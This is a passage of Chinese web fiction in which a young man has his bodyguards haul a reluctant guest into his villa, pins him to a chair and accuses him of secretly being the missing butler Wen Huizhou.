“骗人,你明明说晚上有时间的。”祁闲察觉到他想跑,赶忙绕过车头来到驾驶座这边,拽着宁海尘胳膊往外扯,“出尔反尔算什么男人!”
“我真有事。”宁海尘座位上焊死,“改天,改天我再来行不行?”
“改天是哪天?来都来了,最起码也得进屋坐坐,喝口水吧,不然显得我这个当主人的多掉面啊。”祁闲使出吃奶的劲,快要把宁海尘胳膊拽下来了,“快出来!”
“真别——”
祁闲脸色一冷,松开拽着宁海尘的手,“来人。”
众保镖鬼魅般从他身后出现,祁闲唇角勾起一抹邪魅冷笑,指着车里震惊的宁海尘:“把他给我弄屋里去。”
“是!”
饶是宁海尘竭力反击,也难以抵抗七八个大汉朝他伸出的罪恶之手。
五秒钟后,他被拖出驾驶座,两只胳膊被各自架着,双脚悬空,由保镖们抬着跟随祁闲朝大门走。
祁闲推开客厅大门,指向餐桌旁的椅子,宁海尘如同被抓进盘丝洞的唐僧,被押送着强行落座。
保镖们完成任务,自觉离开,还帮祁闲关上别墅大门。
至此,宁海尘彻底逃不掉了。
“不知道饭做好了吗?”祁闲自顾自地说着,高声喊道:“闻洄舟!”
回答他的只有寂静。
“闻——洄——舟?”
祁闲又喊了一次,往常总是随叫随到神出鬼没的管家仿佛消失了。
“唉,关键时刻竟然不在。”祁闲望向浑身紧绷的宁海尘,摇头叹息。
宁海尘忙不迭地站起身:“既然如此,我就不打扰了。”
祁闲眼疾手快,猛地一推,宁海尘重心向后失去平衡,再度跌坐回去、
落座时宁海尘双膝自然岔开,在他有更多动作之前,祁闲单膝跪在椅面上,恰好卡在宁海尘腿间,将其锁住。
少年手臂越过宁海尘肩膀,按在椅背上,将宁他困在由自己身体和椅子构成的牢笼。
“这怎么能行呢?”
祁闲狡黠地弯起眸,他紧盯着宁海尘双眼,清晰在瞳仁里捕捉到自己靠得极近的身影。
祁闲右手按在宁海尘肩头,一寸寸下滑,直到掌心抵在宁海尘胸口。
他的呼吸彻底乱了,心跳也快到异常。
“宁海尘,海哥,你好像很紧张。”祁闲眸中笑意冷淡下去,轻快语调难掩正强行压制着的愠怒,“或者应该叫你,闻、洄、舟?”